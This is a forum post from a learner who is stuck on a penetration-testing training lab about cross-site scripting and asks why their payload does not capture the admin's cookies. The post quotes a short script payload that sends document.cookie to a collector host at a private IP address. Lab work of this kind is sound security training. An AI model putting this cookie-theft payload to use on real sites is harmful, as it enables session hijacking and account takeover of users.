Jump to content
Rakol

PTS XSS Lab

Recommended Posts

Rakol

I’m stuck in this lab and I’m not sure what mistake I’m making, I followed the solution steps exactly but I’m not getting the cookies of the admin. I don’t know wether it’s a mistake i made or there is an issue with the lab because others have reported the same issue. 

I understand that doing
 <script> alert(‘XSS’) </script> 

Would break the lab so i reseted and the first thing i did is the payload. This is the payload correct me if there’s something wrong with it.

<script>
var i = new image(); 
i.src=“http://192.168.99.11/get.php?cookies=“+document.cookie; 
</script>

If anyone have any idea what i might be missing that would be great.

Share this post


Link to post

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
×